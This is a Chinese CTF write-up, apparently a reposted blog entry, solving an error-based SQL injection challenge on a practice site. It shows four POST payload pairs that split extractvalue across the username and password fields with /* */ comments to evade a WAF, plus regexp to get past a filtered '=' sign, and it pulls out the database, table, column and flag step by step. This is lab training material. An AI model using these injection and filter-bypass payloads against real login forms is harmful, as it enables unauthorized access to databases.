美文网首页
加了料的报错注入--解题(局部注释和报错函数)

加了料的报错注入--解题(局部注释和报错函数)

作者: DeepHacking | 来源:发表于2020-02-18 23:41 被阅读0次

    解题地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

    先简单地试一下回显,可以知道一般的username,password错误是Login failed,而触发WAF则是红色字体的回显 

    接下来就开始试后台的过滤逻辑,实验中发现:username中不允许使用(),也就是说无法使用函数,那报错注入岂不是没有办法做了?

    那用password注入呢?因为后台逻辑要查询两个字段,所以password字段在这道题里也可以注入。发现password中不允许使用floor、extractvalue等这些报错函数,也就是说报错注入在password这里也做不了了。

    也就是说,我们可以username里写报错函数名,password里写剩下的语句,但是这样会有多余的'and password='那要怎么做呢?

    记得我们得知的SQL语句格式嘛?  where username='???' and password='???'   而sql语句中可以使用/**/注释掉中间的SQL语句。也就是说,我们可以使用/**/来解决这个问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。

    构造语句username='or extractvalue /*,password=*/(1, concat(0x5c,(select user()))) or',这样一结合就是

    select * from users where username=''or extractvalue /*' and password='*/(1, concat(0x5c,(select database()))) or'' 报错出数据库名

    第一次post参数为:

    username=1' or  extractvalue/*

    password=*/(1, concat(0x3A,(select database()))) or '1

    获得数据库名信息:

    XPATH syntax error: ':error_based_hpf'

    第二次post参数为:(接下来就是继续报错出表名了,需要注意一点的是=被吃掉了,可以用in或者regexp来绕过)

    username=1' or  extractvalue/*

    password=*/(1,concat(0x3A,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'))) or '1

    获得数据库表信息:

    XPATH syntax error: ':ffll44jj,users'

     第三次post参数为:

    username=1' or  extractvalue/*

    password=*/(0x5c,concat(0x3A,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'))) or '1

    获得数据库表的字段信息:

    XPATH syntax error: ':value'

    第四次post参数为:

    username=1' or  extractvalue/*

    password=*/(1,concat(0x3A,(select group_concat(value) from ffll44jj))) or '1

    获得flag{}信息:

    XPATH syntax error: ':flag{err0r_b4sed_sqli_+_hpf}'

    相关文章

      网友评论

          本文标题:加了料的报错注入--解题(局部注释和报错函数)

          本文链接:https://www.haomeiwen.com/subject/puhofhtx.html